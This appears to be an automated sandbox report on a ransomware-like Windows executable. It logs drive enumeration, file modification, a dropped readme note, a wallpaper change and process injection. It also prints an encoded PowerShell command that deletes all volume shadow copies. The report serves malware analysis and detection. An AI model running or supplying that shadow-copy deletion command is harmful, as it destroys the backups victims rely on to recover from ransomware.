7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exedescription ioc process File opened (read-only) \??\W: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\F: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\M: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\N: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\O: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\V: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\H: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\L: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\S: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\Z: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\U: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\X: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\Y: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\E: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\I: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\K: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\R: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\T: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\Q: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\D: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\A: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\B: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\G: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\J: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened (read-only) \??\P: 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\oqmww0jfv52.bmp" 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe -
Drops file in Program Files directory 32 IoCs
Processes:
7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exedescription ioc process File opened for modification \??\c:\program files\ConfirmRepair.xltm 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\PublishSet.kix 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\PushTrace.xltx 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\SkipOut.wmv 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\UndoOptimize.aif 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\GroupExit.avi 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\RepairResume.png 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\SearchRead.i64 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\ApproveWatch.mp3 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\CompleteInvoke.tmp 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\CopyBlock.eprtx 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\DisconnectMount.css 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\GetUndo.mp2 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\TestDisconnect.tmp 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\UpdateResolve.htm 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\ConvertGet.aiff 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\CopySwitch.vstm 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\DisableReset.emz 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\WatchImport.dot 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\ClearApprove.wpl 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\EnableProtect.mov 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File created \??\c:\program files (x86)\v8rvt82fty-readme.txt 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\CopyImport.wmx 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\ProtectResume.3gp 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File created \??\c:\program files\v8rvt82fty-readme.txt 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\SyncRepair.xlsb 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\ConfirmFind.txt 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\MoveRename.WTV 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\UnprotectUnlock.crw 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\UpdateSync.iso 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\AddFind.js 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe File opened for modification \??\c:\program files\SplitRedo.wma 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe -
Suspicious behavior: EnumeratesProcesses 47 IoCs
Processes:
7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exepowershell.exepid process 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 3776 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 3776 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 3204 powershell.exe 3204 powershell.exe 3204 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3776 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe Token: SeDebugPrivilege 3204 powershell.exe Token: SeBackupPrivilege 2924 vssvc.exe Token: SeRestorePrivilege 2924 vssvc.exe Token: SeAuditPrivilege 2924 vssvc.exe Token: SeTakeOwnershipPrivilege 3776 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exedescription pid process target process PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 640 wrote to memory of 3776 640 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe PID 3776 wrote to memory of 3204 3776 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe powershell.exe PID 3776 wrote to memory of 3204 3776 7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe"C:\Users\Admin\AppData\Local\Temp\7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Users\Admin\AppData\Local\Temp\7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe"C:\Users\Admin\AppData\Local\Temp\7d5677cb8a7bccdf0f89fdeec77d10f72bb652e1e612576c7b439e6408a12a68.exe"2⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3776 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3204
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2652
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2924
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/640-3-0x0000000002430000-0x00000000024AB000-memory.dmpFilesize
492KB
-
memory/640-2-0x0000000000630000-0x0000000000631000-memory.dmpFilesize
4KB
-
memory/640-7-0x00000000024B0000-0x000000000263E000-memory.dmpFilesize
1.6MB
-
memory/3204-13-0x0000011C57720000-0x0000011C57721000-memory.dmpFilesize
4KB
-
memory/3204-16-0x0000011C3B696000-0x0000011C3B698000-memory.dmpFilesize
8KB
-
memory/3204-15-0x0000011C3B693000-0x0000011C3B695000-memory.dmpFilesize
8KB
-
memory/3204-14-0x0000011C3B690000-0x0000011C3B692000-memory.dmpFilesize
8KB
-
memory/3204-10-0x0000000000000000-mapping.dmp
-
memory/3204-11-0x00007FFC351F0000-0x00007FFC35BDC000-memory.dmpFilesize
9.9MB
-
memory/3204-12-0x0000011C3CFC0000-0x0000011C3CFC1000-memory.dmpFilesize
4KB
-
memory/3776-5-0x0000000000400000-0x0000000000421000-memory.dmpFilesize
132KB
-
memory/3776-9-0x0000000000400000-0x0000000000421000-memory.dmpFilesize
132KB
-
memory/3776-8-0x00000000001C0000-0x00000000001C1000-memory.dmpFilesize
4KB
-
memory/3776-4-0x0000000000000000-mapping.dmp